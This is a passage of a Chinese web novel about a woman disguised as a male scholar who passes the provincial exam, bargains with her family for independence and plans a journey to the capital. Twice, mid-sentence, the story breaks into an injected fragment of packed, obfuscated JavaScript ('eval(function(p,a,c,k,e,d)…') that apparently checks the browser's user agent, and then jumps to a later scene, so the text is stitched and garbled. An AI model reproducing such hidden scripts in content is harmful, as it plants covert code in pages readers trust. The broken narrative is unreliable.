虽然委婉,虽然只是就事论事,但确实是说了。 她关上窗,躺下。 明天还有院试。但今晚,她睡得比往常踏实。 因为知道,自己写的文章,说的话,或许真的能改变点什么。 哪怕只是一点点。 11. 院试 院试设在江州府省城。 谢青梧站在考棚外时,天还没亮透。初秋的晨风带着凉意,她将考篮挎在臂弯,随着人流缓缓向前挪动。不同于县试、府试,院试由学政大人亲自主持,三年两考,过了这一关,才算真正有了“秀才”功名。 “怀瑾兄!” 周子砚从后面追上来,额头上冒着细汗,“方才在客栈找你不见,还以为你先来了。” “子砚。”谢青梧微笑,“昨夜睡得可好?” “哪里睡得好。”周子砚压低声音,“我听人说,这次院试的陈大人,是出了名的古板。你那篇府试文章里提了女子织造,我怕……” “文章既已写了,便不后悔。”谢青梧平静道,“况且陈大人再古板,总要看文章本身是否言之有物。” 周子砚叹了口气,还想说什么,考棚的门开了。 搜检比前两次更严。衙役将考篮里的每块饼都掰开看,笔杆要对着光检查,连砚台底部都摸了一遍。轮到谢青梧时,那衙役多看了她两眼,府试案首的名头,这几日已在省城传开了。 “进去吧。” 考棚内是一排排低矮的号舍,每间仅容一人。谢青梧找到自己的“辰字十七号”,放下考篮,先打量环境。号板有些潮,她取出准备好的油布铺上,又将笔墨纸砚一一摆开。 晨钟敲响,考题发下。 谢青梧展开卷纸,目光落在第一道四书题上:“子曰:惟女子与小人为难养也。”她指尖一顿。 这道题选得刁钻。 若是寻常考生,多半要顺着夫子的话阐发,论述女子为何“难养”。但她不能,不是不愿,而是骨子里那股逆反在翻涌。可若公然反驳,便是离经叛道,别说中秀才,恐怕当场就要被逐出考场。 她闭上眼,深吸一口气。 再睁眼时,目光已恢复清明。不能硬碰硬,便曲笔藏锋。她提笔蘸墨,在草稿纸上写下破题:“夫子言女子难养,非轻女子也,乃叹教化之未周、礼法之待善也。” 将矛头从女子本身,转向了教化与礼法。 正文徐徐展开。她引《诗经》中的贤女,引史书中的才女,最后落笔:“故女子非天生难养,世无善养之法耳。若使女子皆得明理、皆能自立,何难养之有?” 写完这道,手心已沁出薄汗。 第二道是策论,题目更让她心头一震:“论星火燎原”。 这题目看似简单,却暗藏玄机。谢青梧盯着那四个字,忽然想起离府城前,林疏影红着眼睛说的那句话:“谢公子,您就像一点火星子……可我们这些女子,连做柴薪的资格都没有。” 她提起笔。 这一次,她没再掩饰。 “星火之微,可耀暗室;燎原之势,始于寸芒。”开篇定调,接着笔锋一转,“然世人只见燎原之焰,不见初燃之艰。今有微光数点,或困于疾风,或没于暴雨,何以成势?曰:不独燃,薪柴相续也。” 她写市井中识字的妇人教邻居孩童认字,写江南织坊里女工自发互帮,写那些微小如尘、却实实在在发生着的联结。 “故欲星火燎原,非独火星之烈,更在薪柴之众、风势之顺。今有微光已现,当护之、助之、广之,使点点相连,终成……” 最后一个字还没落下,外头突然响起惊呼。 “走水了!” 谢青梧猛地抬头,只见东侧号舍方向冒起浓烟。考棚顿时乱作一团,有考生惊慌失措往外跑,衙役厉声喝止,却压不住恐慌蔓延。 她迅速收好试卷,塞进考篮,正要起身查看,却听见烟里传来孩子的哭声。 ——是那个跟着父亲来应试的少年!她记得那孩子不过十二三岁,坐在“寅字三号”。 来不及多想,她撕下内袍一角,从水囊里倒水浸湿,捂住口鼻就朝浓烟处冲去。 “怀瑾!”周子砚在身后喊。 烟雾越来越浓。谢青梧眯着眼,勉强辨认方向。寅字号舍就在前面,火是从隔壁烧起来的,木制的隔板噼啪作响,那孩子蜷在号舍角落,吓得不会动了。 “出来!”她伸手去拉。 孩子浑身发抖,被她硬拽出来时,一根烧断的横梁正砸在刚才的位置。 谢青梧护着孩子往外退,湿布捂在两人脸上。刚退到安全处,救火的水龙队就冲了进来。场面混乱不堪,学政陈大人在外面气得脸色铁青。 火势很快被控制住,只烧了两间号舍。但那孩子受了惊吓,一直哭,他父亲赶过来,对着谢青梧就要跪。 “不必。”她扶住对方,声音被烟熏得有些哑,“快带孩子去看大夫。” 这场意外打断了考试。所有考生被暂时疏散到明伦堂,学政沉着脸去查起火原因。谢青梧坐在廊下,周子砚递过来一杯水。 “你真是……”周子砚摇头,“万一出事怎么办?” “总不能看着。”她接过水喝了一口,喉咙火辣辣的疼。 半个时辰后,学政回来了,宣布考试继续。但起火的那排号舍不能用了,相关考生被分配到其他空位。谢青梧回到自己号舍时,发现试卷已被妥善收好,连砚台里的墨都没洒。 她顿了顿,抬眼看向远处,陈大人正背着手巡视,目光扫过她时,微微停顿了一瞬。 考试在午后结束。 谢青梧交卷时,手还有些抖,不是怕,是那股劲儿松下来后的虚脱。走出考棚,秋阳正好,她眯了眯眼,却见一道熟悉的身影立在柏树下。 顾临渊。 他今日穿了身竹青直裰,比上次见面少了些凌厉,多了几分书卷气。见她出来,他主动走上前。 “谢公子。”顾临渊拱手,“方才火起时,我就在隔壁考区。” 谢青梧回礼:“顾公子也来应试?” “家父要求,来走个过场。”顾临渊说得随意,目光却落在她袖口的焦痕上,“你冲进去救人时,很多人都看见了。” 这话听不出褒贬。谢青梧只淡淡道:“碰巧离得近。” 顾临渊沉默片刻,忽然转了话题:“林疏影家的案子,有进展了。” 谢青梧抬眼。 “府衙昨日开审,她那位族叔拿出的遗嘱是伪造的。”顾临渊声音压低,“笔迹不对,印章也是私刻的。只是对方咬死不认,说林姑娘一介女流,不懂经营,家产交给她迟早败光。” “然后?” “然后林姑娘当堂拿出近三年的账本。”顾临渊眼里闪过一抹奇异的光,“一笔一笔,清清楚楚。还说出三家铺子未来半年的经营打算,连可能遇到的风险和应对之法都列好了,主审的刘推官都听愣了。” 谢青梧唇角微扬。那几日她与林疏影长谈,教的就是这些:女子守业,光哭诉委屈没用,得拿出实打实的能力。 “案子判了?”她问。 “判了。家产归还林疏影,族叔杖三十,罚银五百两。”顾临渊看着她,“刘推官还当堂说了句话,‘女子若皆如林氏,何愁家业不兴?’” 这话从一个五品推官嘴里说出来,分量不轻。 谢青梧点点头:“多谢顾公子告知。” “不是我告知。”顾临渊忽然道,“是刘推官让我带话给你,他说,你那日在宴会上说的话,他回去想了许久。” 谢青梧一怔。 顾临渊的目光在她脸上停留片刻,像在探究什么,最后却只是笑笑:“谢怀瑾,你这个人……很有意思。” 他说完便走了,留下谢青梧站在原处。 周子砚凑过来,小声问:“顾临渊跟你说什么了?他刚才那语气,怪怪的。” “没什么。”谢青梧收回目光,“只是突然觉得,有些话说了,或许真有人会听进去。” 三日后放榜。 谢青梧没去挤,在客栈等消息。周子砚一早就跑出去了,晌午时分,外头锣鼓声由远及近,一路敲到客栈门口。 “中了!谢公子中了!” 周子砚冲进来,脸涨得通红,“案首!又是案首!小三元!” 客栈里顿时哗然。不少考生围过来道贺,谢青梧一一还礼,神色却平静。只有她自己知道,袖中的手在微微发颤。 连中三元,县、府、院三试皆第一。这在江州府已是多少年未有的事。 然而道贺声里,也夹杂着低语。 “听说他那篇‘星火燎原’,写得颇为激进……” “学政陈大人竟点了案首?” “你不知?那日考场起火,他冲进去救了个孩子。陈大人最重德行,许是因此加了分。” 正说着,客栈外又来了人。这次是官差打扮,为首的是个面生的文书。 “哪位是谢怀瑾谢公子?” 谢青梧上前:“在下便是。” 文书递上一封帖子:“学政陈大人明日午时在望江楼设宴,宴请本届前十名学子,请谢公子务必到场。” 帖子是暗纹绢面,字迹工整。谢青梧接过,心头却微微一沉,这宴,恐怕不只是庆贺那么简单。 送走官差,周子砚凑过来看帖子,喜道:“陈大人亲自设宴,这是看重你啊!” 谢青梧却摇头:“子砚,你记不记得陈大人出那道‘惟女子与小人为难养也’的考题?” 周子砚一愣。 “他选这题,必是想看学子如何作答。”谢青梧轻声道,“我虽曲笔写了,但细读之下,仍是离经叛道。他点我为案首,又设宴相请……” 恐怕是要亲自探她的底。 当夜,谢青梧坐在灯下,将那篇“星火燎原”的草稿又看了一遍。字字句句,都是她想说的话——或许太直白了。 她提起笔,想改几个字,最终却放下了。 窗外月色正好,远处隐约有丝竹声飘来,大约是哪个秦楼楚馆在宴客。她忽然想起那日茶棚里,一个女子弹的那曲《折杨柳》。 那个女子说:“公子这双眼睛,看得太透了。” 或许是吧。 但她既已走到这一步,便没有回头路。明日之宴,是试探,也是机会。 她吹熄灯,和衣躺下。黑暗中,手指无意识抚过束胸的布带,这东西已成了她身体的一部分,有时候连她自己都恍惚,究竟哪个才是真正的谢青梧。 次日赴宴前,林疏影来了。 她穿着素色衣裙,发间只簪了朵白玉兰,身后跟着个丫鬟,手里捧着个锦盒。 “怀瑾公子。”林疏影郑重一礼,“案子结了,家产已拿回大半。这份恩情,疏影铭记于心。” 谢青梧扶她起来:“林姑娘不必如此。” 林疏影打开锦盒,里面是几张银票和一本账册:“这些银子,是我的一点心意。账册上是我名下三间铺子的干股,公子若看得上,每年可分红利。” 谢青梧推辞不受。 林疏影却坚持:“公子别误会,这不是报恩。”她抬眼,目光清亮,“那日您说,女子若想站稳脚跟,需有钱、有人、有路。钱我能挣,人我在寻,可这条路,我想跟着公子走。” 谢青梧一怔。 “我知道公子志不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天道酬勤,酬能,酬善。”谢青梧声音清晰,“女子若能织锦缎、能理账目、能育英才,便是对家国有功。有功者当得善待,此方为顺天应人。” 陈学政捻须不语。 良久,他才缓缓道:“你可知此言一出,会招来多少非议?” “学生知道。”谢青梧垂眸,“但若人人皆因怕非议而不敢言,世道便永不会变。” 陈学政盯着她看了许久,忽然笑了:“好一个‘永不会变’。”他举杯,“今日宴饮,只论文章,不论其他。来,满饮此杯。” 宴席后半段,气氛松快了些。陈学政再没提敏感话题,只与学子们谈诗论赋。散席时,他却独独留下谢青梧。 “怀瑾,随我来。” 两人登上望江楼顶层。凭栏远眺,江水滔滔,远处帆影点点。 “今日留你,是有句话要交代。”陈学政背对着她,声音随江风飘来,“你很有才,也有胆识。但木秀于林,风必摧之。” 谢青梧躬身:“学生谨记。” “记不够,得做。”陈学政转身,目光如炬,“你既写了‘星火燎原’,便该知道,星火若要成势,需先保住自身。过早燃尽,不过一缕青烟。” 这话说得重。谢青梧心头凛然:“学生明白。” “明白就好。”陈学政语气缓和下来,“你既连中三元,按例可入府学深造。明年秋闱,若再中举,便可进京赴会试。这条路……很长。” 他说完,挥挥手:“去吧。” 谢青梧深施一礼,转身下楼。走到楼梯拐角时,听见陈学政低声自语,随江风飘来半句: “……这世道,或许真该变变了。” 她脚步微顿,没有回头。 走出望江楼时,夕阳正沉。江面被染成金红,渡口归舟往来,渔歌隐约。 周子砚在楼下等她,见她出来,忙迎上来:“陈大人没为难你吧?” “没有。”谢青梧摇头,“只是提点了几句。” 两人沿着江堤慢慢走。周子砚说起明日回程的安排,谢青梧静静听着,目光却落在江边洗衣的妇人身上,她们蹲在石板上,抡着棒槌,一下一下,捶打着浸透的衣物。 “子砚。”她忽然开口,“你说这些妇人里,可有识字的?” 周子砚一愣:“这……怕是没有吧。” “若她们识字,会不会也能写出‘星火燎原’那样的文章?” 周子砚答不上来。 谢青梧却笑了笑,不再追问。有些问题,本就不需要答案。 回到客栈,她推开窗。夜幕初降,远处灯火渐次亮起,像散落的星子。 桌上放着林疏影送的账册,还有陈学政宴请的帖子。这两样东西摆在一起,莫名有种象征意味,一条是实实在在的路,一条是云遮雾罩的前程。 她提起笔,在纸上写下一行字: 星火已燃,当护之,广之。 墨迹未干,窗外忽然飘进一片梧桐叶,正落在纸上。 谢青梧拾起叶子,对着灯光看。叶脉清晰,像掌纹,也像某种未画完的地图。 她将叶子夹进书页,吹熄了灯。 黑暗中,远处更鼓声隐约传来。三更了。 明日便要启程回乡,而后是更远的京城。这条路的确很长,但—— 她闭上眼,耳边又响起林疏影那句“我们一起走”,还有陈学政那声叹息。 或许,她从来都不是一个人。 12. 荣归 谢青梧回县城那日,正是重阳。 秋阳暖融融地照在青石板路上,车马刚进城门,就听见噼里啪啦的爆竹声。周子砚探头往外看,惊道:“这……这都是来迎你的?” 街两旁聚了不少人,有县学的同窗,有街坊邻居,甚至还有几个面生的商户。打头的是李庸,一身簇新绸衫,笑得见牙不见眼。 “怀瑾啊!”李庸快步迎上来,“你可给咱们县挣了大脸面!小三元,江州府多少年没出过了!” 谢青梧下车行礼:“山长。” “别客气别客气。”李庸扶住她,声音激动得发颤,“陈大人派人送了喜报来,知县大人亲自接的。你猜怎么着?县里要给你立碑!” 立碑?谢青梧眉头微蹙。 “就在县学门口,刻‘连中三元’四个大字。”李庸说得眉飞色舞,“往后咱们县学的学子,都得先拜你的碑再进门!” 这话听着别扭。周子砚在一旁轻咳一声:“山长,怀瑾兄一路劳顿,不如先让他回家歇息?” “对对对,是该回家。”李庸这才让开路,却又压低声音,“怀瑾,你父亲前几日来找过我,说是……要给你说亲。” 谢青梧脚步一顿。 “县里张员外家的千金,年方十五,模样性情都好。”李庸搓着手,“你如今有功名在身,也该考虑成家立业了。” 秋风忽然有些凉。谢青梧垂眸:“多谢山长好意,只是学生志在科举,暂无成家之念。” “这怎么行!”李庸急了,“你父亲说了,成了亲才好安心读书,家里也有人照顾……” “山长。”谢青梧抬眼,声音平静,“学生想先回家。” 她行礼告辞,转身时袖中的手微微收紧。周子砚追上来,欲言又止。 “子砚,你先回吧。”谢青梧道,“家里的事,我自己处理。” 周家马车驶远了。谢青梧站在街口,看着自家那扇熟悉的黑漆木门——门前也挂了红绸,却透着一股刻意。 推门进去,院子里站满了人。 谢父坐在上首,嫡母王氏陪在一旁,嫡兄谢明远抱着手臂靠在廊柱上,嘴角噙着似笑非笑的弧度。还有几个族里的叔伯,都是平日不太走动的关系。 “怀瑾回来了。”谢父开口,语气是少有的温和,“快过来。” 谢青梧上前行礼:“父亲,母亲。” 王氏脸上堆着笑,眼里却没什么温度:“这孩子,瘦了。在外头吃苦了吧?” “还好。”谢青梧应得简短。 谢明远这时走过来,拍了拍她的肩:“二弟如今可是名动江州了。连陈大人都亲自设宴,这面子,咱们谢家祖上都没挣来过。” 他手劲不小,拍得谢青梧肩胛生疼。她不动声色地侧身避开:“兄长过誉。” “不过誉不过誉。”谢父难得地笑出声,“青梧啊,你这次给家里长了脸。为父想了想,你既有了功名,就不能再住西厢那小屋子了。东院那间书房给你腾出来,往后专心读书。” 这话一出,几个族叔纷纷附和。 “还是二哥想得周到。” “怀瑾这孩子有出息,是该好好栽培。” “说不定明年秋闱再中个举人,咱们谢家就真兴旺了。” 一片称赞声里,谢青梧却听得心头发冷。她太了解这个家了,突如其来的优待,背后必有图谋。 果然,寒暄过后,谢父清了清嗓子:“青梧,你如今是秀才,按例可免五十亩田赋。咱们家在城郊有八十亩地,正好……” “父亲。”谢青梧打断他,“免赋的田亩,需登记在本人名下。” 堂屋里静了一瞬。 谢父脸色微僵:“你这话什么意思?家里的地,登记在谁名下不都一样?” “不一样。”谢青梧声音很轻,却清晰,“律法有定:功名所免赋税,只限本人及直系亲属田产。若登记在家产总册,免赋数额需按房头均分。” 她顿了顿:“咱们家三房,大伯、父亲、三叔。若八十亩全记在家产册上,免赋的五十亩,需分三份。而若记在我个人名下……” “胡闹!”一个族叔拍案而起,“哪有分家单过的道理!你才多大?” 谢明远也冷笑:“二弟这是翅膀硬了,想飞?” 王氏在一旁抹泪:“怀瑾,你父亲养你这么大,容易吗?如今刚有点出息,就要撇开家里……” 一时间,指责声、劝诫声、叹息声混作一团。 谢青梧静静站着,等他们说完,才开口:“父亲误会了。儿子并非要分家,只是想着,若田产记在我名下,免赋额度全用上,每年能省下二十两税银。这银子,可以贴补家用。” 二十两。谢父眼神动了动。 “况且,”谢青梧继续说,“明年秋闱,儿子要去省城乡试。若中了举,免赋额可达两百亩。到时家里再添置田产,都能省下税银。” 这话像块石头扔进池塘,激起层层涟漪。 两百亩的免赋额!几个族叔眼睛都亮了。谢父捻着胡须,沉吟不语。 谢明远却嗤笑:“你说中举就中举?真当科举是儿戏?” “兄长说得是。”谢青梧垂眸,“所以儿子才想专心读书。东院书房虽好,但离街市近,难免嘈杂。儿子想……搬出去住。” “什么?”王氏尖声。 “母亲别急。”谢青梧语气温和,“儿子不是要远走。就在城西租个小院,清净,也方便去县学。每月束脩、开销,儿子自己承担。” 她抬眼,看向谢父:“只是租院、备考都需要银钱。儿子想,可否将未来三年该分给我的那份家产……提前支取?” 堂屋里彻底安静了。 谢家不是什么大户,田产铺子加起来,三房均分,每房一年也就五六十两进项。谢青梧作为庶子,能分到的本就少得可怜——按惯例,成家前每月二两月例,成家后分家,再得二三十两安家费。 她现在要的,是提前把这笔钱拿走。 “你要多少?”谢父沉声问。 “一百两。” “一百两?!”王氏尖叫,“你当家里开银铺的?” 谢青梧不答,只看着谢父。 她在赌。赌谢父算得清这笔账,一个秀才每年省二十两税银,一个举人省上百两。更重要的,是谢家从此有了官身庇护,做生意、置田产都有便利。 这一百两,是投资。 果然,谢父沉默了许久,缓缓道:“你要立字据。” “自然。”谢青梧道,“儿子可以立契:支取一百两后,三年内若中举,免赋额优先用于家中田产;若不中……这笔钱算儿子借的,三年后连本带利归还。” 条件开得公道。几个族叔互相看看,都点了头。 谢明远还想说什么,被谢父一个眼神制止。 “好。”谢父起身,“明日请族长和县学李先生作证,立契。” 尘埃落定。 谢青梧退出堂屋时,夕阳正斜。她穿过院子,西厢那间小屋门开着,里面还是离时的模样,一床一桌一柜,简陋得像个客房。 她没进去,转身去了祠堂。 谢家祠堂不大,供着三代祖先的牌位。香烟袅袅,她跪在蒲团上,看着最下面那个空位——那是留给她生母的。一个妾室,生前没资格进祠堂,死后也只能在角落设个香案。 “母亲。”她轻声说,“我要走了。” 香火明明灭灭,无人应答。 夜里,谢青梧收拾行囊。其实没什么可收拾的,几件衣裳,几本书,一方砚台。她把那本夹着梧桐叶的书册仔细包好,放进最底层。 窗棂忽然轻响。 她警觉地回头,却见周子砚猫着腰翻进来,手里提着个食盒。 “你怎么……”谢青梧失笑。 “翻墙进来的。”周子砚抹了把汗,压低声音,“你家里那阵势,我走正门肯定被拦。”他打开食盒,里头是热腾腾的桂花糕和鸡汤,“我娘让送的,说你回来肯定吃不上口热饭。” 谢青梧心头一暖。 两人在窗边坐下,就着月光吃糕。周子砚啃了两口,忽然问:“你真要搬出去?” “嗯。” “那一百两……你真有把握?” 谢青梧笑了笑,从怀里掏出个小荷包,倒出几张银票:“林疏影给的铺子红利,加上府试、院试的赏银,我手里有六十两。租个小院,一年不过十两,剩下的足够用到明年秋闱。” 周子砚瞪大眼:“你早算好了?” “不算好,怎么敢开口。”谢青梧抿了口鸡汤,“我那位父亲,最重实利。给他画张大饼,再拿出真金白银,他才肯放人。” “可万一秋闱不中……” “那就真得还钱了。”谢青梧语气轻松,“不过子砚,你觉得我会不中吗?” 月光下,她眼里有光。周子砚看了她一会儿,忽然也笑了:“不会。你肯定中。” 两人又说了会儿话,周子砚才翻墙离开。谢青梧关好窗,躺回床上,却睡不着。 明日立契,后日找房,大后日就能搬出去。一切顺利得有些不真实。 她翻了个身,手指无意间碰到束胸的布带——这东西,终于可以在自己的小院里放心解开了。 第二日立契,族长和李庸都来了。 契书写得明白:谢青梧支取一百两,三年内若中举,免赋额归家族使用;若不中,三年后归还一百二十两。此外,谢青梧搬出独住,家中不得干涉其读书、交往、前程。 谢父签字画押时,手有些抖。谢青梧接过笔,字迹工整平稳。 银票交接,一张五十两,两张二十两, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢青梧急忙扶住,入手一片湿热,血已经浸透衣袖。她将人半扶半抱弄进屋,放在床上,剪开衣袖一看,倒抽一口凉气。 刀伤,从肩头划到肘弯,皮肉外翻。看伤口颜色,已有一天以上,边缘开始红肿。 她定定神,翻出金疮药—,又打来清水,一点一点清洗伤口。 慕容芷在昏迷中蹙眉,却没醒。 上药,包扎,换下血衣。等忙完这些,天已经黑透。谢青梧坐在床边,借着油灯打量这个不速之客。 手指有茧,虎口尤其厚,是常年握刀剑的手。呼吸平稳后,能看出身怀武功。这样一个女子,怎么会受这么重的伤?林疏影又为什么让她来? 太多疑问。但此刻,救人要紧。 谢青梧熬了粥,一勺勺喂下去。半夜时分,慕容芷终于醒了。 她睁眼的瞬间,眼神锐利如刀,下意识去摸腰间——空的。 “你的刀在桌上。”谢青梧坐在床边,手里端着药碗,“放心,我没动。” 慕容芷盯着她看了几秒,这才松懈下来:“谢公子?” “是我。”谢青梧把药递过去,“先把药喝了。” 慕容芷接过碗,一饮而尽,眉头都没皱一下。喝完药,她挣扎着要起身行礼,被谢青梧按住。 “躺着吧。”谢青梧问,“林姑娘让你来的?” “是。”慕容芷声音沙哑,“我欠林姑娘一条命。她说您身边需要个可靠的人,我就来了。” “你这伤……” “仇家追杀的。”慕容芷说得干脆,“不过公子放心,尾巴已经清理干净,不会连累您。” 谢青梧沉默片刻:“你会什么?” “武功尚可,能护您周全。识字,会算账,能驾车马。”慕容芷顿了顿,“只要您收留,我这条命就是您的。” 话说得决绝。谢青梧看着她苍白的脸,忽然想起那日考场大火里,自己冲进去救人的心情。 “先养伤。”她起身,“伤好了再说。” “公子!”慕容芷急声道,“您若不放心,我可以立死契……” “不用。”谢青梧回头,“我这里不兴这个。你伤好之后,若还想留下,咱们再谈工钱和去留。” 她吹熄油灯,掩门出去。 院子里月光如水。谢青梧站在槐树下,抬头看天,明天该是个好天气。 屋里传来压抑的咳嗽声,很快又静下去。 谢青梧想起契书上那行字:“不得干涉其读书、交往、前程。” 现在,她有了自己的院子,有了独立的户籍,马上还会有一个护卫。 13. 赴京路 慕容芷的伤好得很快。 不过七八日,那道狰狞的刀口就结了痂。她坚持要干活,谢青梧拗不过,便让她做些轻省事,打扫院子,煮饭烧水。两人话都不多,但莫名有种默契。 这日清早,谢青梧在院中读书,慕容芷在井边洗衣。水声哗哗,伴着翻书声,竟有几分岁月静好的味道。 “公子。”慕容芷忽然开口,手里搓着衣裳,眼睛却没抬,“林姑娘让我带句话。” “什么话?” “她说,京城的铺子已经看好了,等您去。” 谢青梧放下书册。林疏影动作比她想的快,这才多久,连京城的路都铺上了。 “她还说了什么?” 慕容芷顿了顿:“她说,京城不比江州,水浑,鱼多,让您小心。” 这话里有话。谢青梧正要细问,院门被敲响了。 来的是周子砚,一脸急色,额头上都是汗。 “谢兄,出事了。”他喘着气,“你听说了吗?县学要推举明年进京赶考的学子,名单里……没有你。” 谢青梧一怔。 县学每年都会推举几名优秀学子,由县里资助路费进京。虽说她自己不缺银子,但这推举本身是一种认可,也是将来会试时的一个资历。 “为什么?”她问。 周子砚压低声:“我爹打听来的。说是有人递了话,说你年纪太轻,又是小三元,该再磨炼几年。还说你文章里……思想不够端正。” 思想不够端正。谢青梧笑了。 这话说得含蓄,意思却明白——她那篇“星火燎原”,终究还是被人记下了。 “谁递的话?” “说是府城那边传来的。”周子砚急道,“我爹让我告诉你,早做打算。若县学不推举,你要进京,就得自己找保人,办手续也麻烦些。” 谢青梧点点头:“多谢周伯父。我知道了。” 周子砚看着她平静的脸,更急了:“你就这个反应?这可是有人故意压你!” “我知道。”谢青梧起身,走到槐树下,“子砚,你觉得是谁在压我?” “还能有谁?肯定是……”周子砚话到嘴边,又咽回去。 谢青梧替他说了:“是我那位嫡兄,谢明远。” 周子砚不吭声了。 谢明远在府城读书,虽没考出什么功名,但结交了不少人。他要递句话给县学,不是什么难事。 “他为什么要这么做?”周子砚不解,“你中了秀才,家里不是也跟着沾光吗?” “光沾了,怕我飞太高。”谢青梧淡淡道,“他压我这一次,若我真去不成京城,或者去了考不中,那就还是谢家那个庶子。若我硬要去,自己想办法,他也能看我笑话。” 周子砚气得跺脚:“这也太……” “无妨。”谢青梧看向慕容芷,“阿芷,你去西街刘记车马行,问一问包车去京城要多少银子。” 慕容芷应声去了,背影利落。 周子砚看着她走远,这才低声问:“这姑娘什么来历?看着不像普通人家出来的。” “林疏影荐来的,会武功。”谢青梧简短道,“我正缺个护院。” 周子砚还想再问,院门又被敲响。 这次来的人,让两人都愣了愣。 顾临渊站在门外,一身月白锦袍,手里拿着马鞭,风尘仆仆的样子。他身后还跟着个小厮,牵着两匹马。 “谢公子,周公子。”他颔首,“冒昧来访。” 谢青梧回过神,将人请进来。 顾临渊进院,目光在院子里扫了一圈,最后落在慕容芷刚才洗衣的木盆--盆边搭着件粗布外衫,袖口有血迹没洗干净。 他眉头几不可察地皱了皱,却没问。 “顾公子怎么来了?”谢青梧请他坐下。 “路过。”顾临渊接过她递的茶,抿了一口,“家父让我去江南办点事,回程路过江州,想起你在这,便来瞧瞧。” 这话说得轻巧,但江州和江南可不顺路。谢青梧心里明白,也不戳破。 周子砚很有眼色地起身告辞。院子里只剩下两人。 “听说你搬出来了?”顾临渊问。 “是。清净些。” “也好。”顾临渊放下茶杯,“你那篇‘星火燎原’,陈学政回京后提过几次。” 谢青梧抬眸:“陈大人怎么说?” “他说……”顾临渊看着她,“你这把火,烧得太早了。” 意料之中的评价。谢青梧笑了笑:“那顾公子觉得呢?” 顾临渊沉默片刻:“我觉得,火既然点了,就该让它烧下去。只是要小心风向,别燎了自己。” 这话说得坦诚。谢青梧有些意外。 “你不觉得我离经叛道?”她问。 “离经叛道的人,我见过不少。”顾临渊语气平静,“但大多是为了标新立异,或者心怀怨愤。你不一样。” 他顿了顿:“你是真的觉得,这世道该变一变。” 秋风过院,槐叶簌簌落下。谢青梧看着这个世家公子,忽然觉得,自己或许一直小看了他。 “顾公子此来,不只是为了说这些吧?”她问。 顾临渊从袖中取出一封信,递过来:“陈大人让我捎给你的。” 谢青梧拆开信,里面只有一句话:“京中已备,静待。” 她指尖微颤。 “陈大人明年调任礼部,主管会试。”顾临渊缓缓道,“他让我告诉你,若真有心,明年秋闱后直接进京。保人、手续,他替你办。” 这是天大的机会,也是天大的风险。 陈学政这是明摆着要当她的靠山。可这样一来,她也就打上了“陈派”的烙印,将来朝堂上难免牵扯。 “为什么要帮我?”谢青梧抬眼。 顾临渊看着她,忽然笑了:“谢怀瑾,你是不是总觉得,这世上没人会无缘无故对你好?” 谢青梧不语。 “我帮你,是因为觉得你值得。”顾临渊起身,走到槐树下,“我生在顾家,从小见的都是算计、权衡、利益交换。我父亲教我的第一课就是:这世上没有无缘无故的好,只有等价交换。” 他转过身,目光清亮:“但你不一样。你救人,写文章,甚至替那个林疏影出头,都不是为了换什么。你是真的……相信一些东西。” 相信女子也能立起来,相信微弱的星火终能燎原,相信这世道可以变好。 “我相信,是因为见过。”谢青梧轻声道。 见过她生母在深宅里枯萎,见过街坊妇人被丈夫打得遍体鳞伤却无处可去,见过林疏影差点被族人生吞活剥。 “所以我想试试。”她说,“试试能不能让这些事,少一些。” 顾临渊看了她许久,最后点点头:“那就试吧。陈大人那边,我替你应下了。” “顾公子……” “叫我临渊。”他打断她,“既然要一起走这条路,就别公子来公子去的,生分。” 谢青梧从善如流:“临渊兄。” 顾临渊笑了,这次是真心的笑:“这还差不多。”他从怀里掏出个小木盒,“这个给你。” 谢青梧打开,里面是一枚印章。青玉雕成,刻着“怀瑾”二字,边上有小小的火纹。 “我自己刻的。”顾临渊有点不自在,“手艺一般,你将就用。” 岂止是一般,这章子刻得其实很精致。谢青梧握在手里,温润沁凉。 “多谢。” “别谢太早。”顾临渊正色道,“京中情况,我得跟你说说。” 他坐下来,细细讲了京城如今的局势:皇帝年迈,几位皇子明争暗斗;朝中分了好几派,陈学政属于清流一系,不站队,但也因此被各方拉拢。 “你以陈大人门生的身份进京,难免被贴上标签。”顾临渊道,“但好处是,清流一系最重名声,只要你文章够好,品行端正,他们就会护着你。” 谢青梧认真听着,心里快速盘算。 “还有,”顾临渊压低声音,“锦衣卫最近在查江南的案子,可能会牵连到一些人。你进京路上,尽量低调。” 锦衣卫。谢青梧心头一跳,面上却不动声色:“我知道了。” 送走顾临渊,已是傍晚。 慕容芷回来了,说包车去京城要三十两,走官道的话,得走一个多月。 “太慢。”谢青梧摇头,“我们走水路,到扬州换船,直抵京城。虽然贵些,但快。” 慕容芷点头:“那我明天去问船。” “不急。”谢青梧看着她,“阿芷,你伤好了,有些话该说了。” 慕容芷神色一凛。 两人进了屋,关上门。油灯跳动着,在墙上投下摇曳的影子。 “你的仇家,是什么人?”谢青梧问。 慕容芷沉默许久,才开口:“锦衣卫。” 谢青梧指尖一颤。 “我父亲曾是北镇抚司的百户。”慕容芷声音很平,像在说别人的事,“三年前,他查一桩私盐案,查到了某位大人头上。后来……他就‘暴病身亡’了。” 她顿了顿:“我那时在外祖家学武,逃过一劫。这些年东躲西藏,直到上月,被他们的人找到。” “林姑娘怎么救的你?” “我逃到江州时,伤重晕在路边,是林姑娘的车夫发现了我。”慕容芷抬眼,“公子若觉得我是麻烦,我现在就走,绝不连累您。” 谢青梧没说话,手指轻轻敲着桌面。 锦衣卫的追杀,这不是小事。收留慕容芷,就等于和锦衣卫结了梁子。可若赶她走…… “你会被找到吗?”她问。 “暂时不会。”慕容芷道,“我甩掉了尾巴,又换了身份。林姑娘帮我弄了新的路引,用的是她远房表妹的名字。” “叫什么?” “慕容止。止步的止。” 谢青梧笑了:“这名字好。到此为止。” 她起身,走到窗边。夜色已浓,远处有狗吠声。 “留下吧。”她回头,“我这儿,正好缺个能打的人。” 